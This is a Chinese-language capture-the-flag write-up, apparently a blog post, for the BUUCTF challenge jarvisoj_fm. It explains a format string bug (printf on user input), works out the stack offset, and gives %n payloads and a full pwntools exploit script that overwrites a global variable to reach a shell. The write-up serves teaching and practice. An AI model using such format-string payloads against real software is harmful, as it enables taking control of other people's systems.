【格式化字符串漏洞】【Write-up】BUUCTF jarvisoj_fm
checksec查看程序架构
$ checksec fm
[*] '/home/peterl/security/workspace/fm/fm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
有canary,那传统的栈溢出肯定不行了
ida查看程序伪代码
我们发现,如果我们想要运行system("/bin/sh)
就必须让x等于4。但是我们点进x看一下,发现它是一个等于3的全局变量(要是保存在.rodata节就寄了):
我们看一下程序代码,发现这么两行:
read(0, buf, 0x50u);
printf(buf);
直接打印我们输入的字符串,立马想到格式化字符串(所以绝对不能太过相信用户的输入……)
构建exp
格式化字符串覆盖任意地址数据
这种方法基于:
- format字符串会被保存在栈中
- %n可以使用
我们首先要找到这个format字符串数据和esp的偏移,我们先输入一大串a,等到call printf的时候查看栈:
我们看到栈顶前两个数据分别是format字符串和第1个参数,因此我们可以知道我们输入的字符串保存在第11个参数的位置,因此偏移就是11
那么我们就可以构造我们的格式化字符串了:
我们的目的是向我们输入的地址处写入数据4,而我们输入的地址是保存在第十一个参数的位置的,而且刚刚好32位的地址占用四个字节,所以:
payload = pg(0x804a02c) + b"%11$n"
如果想把地址放在后面,因为"%11$n"
占用5个字符,为了输入4我们需要在其前面填充4个字符,所以现在一共占用9个字符,我们可以通过填充3个垃圾数据让它占用达到12个字符,让我们的地址在第14个参数的位置:
payload = b"aaaa%14$n!!!" + pg(0x804a02c)
我们也可以用pwntools提供的自动化工具:
# 第一个参数是偏移量,也就是11
# 第二个参数是一个字典,key为需要更改的变量(函数)地址,val为需要更改的值
payload = fmtstr_payload(11, {0x804A02C: 0x4})
完整exp
from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
pss: bool = False
fn: str = "./fm"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "break main")
else:
p = process(fn,env={"LD_PRELOAD":libc_name})
p.clean()
payload = fmtstr_payload(11, {0x804A02C: 0x4})
p.sendline(payload)
p.clean()
p.interactive()
标签:11,payload,fm,字符串,jarvisoj,格式化,我们
From: https://www.cnblogs.com/peterliuall/p/16828476.html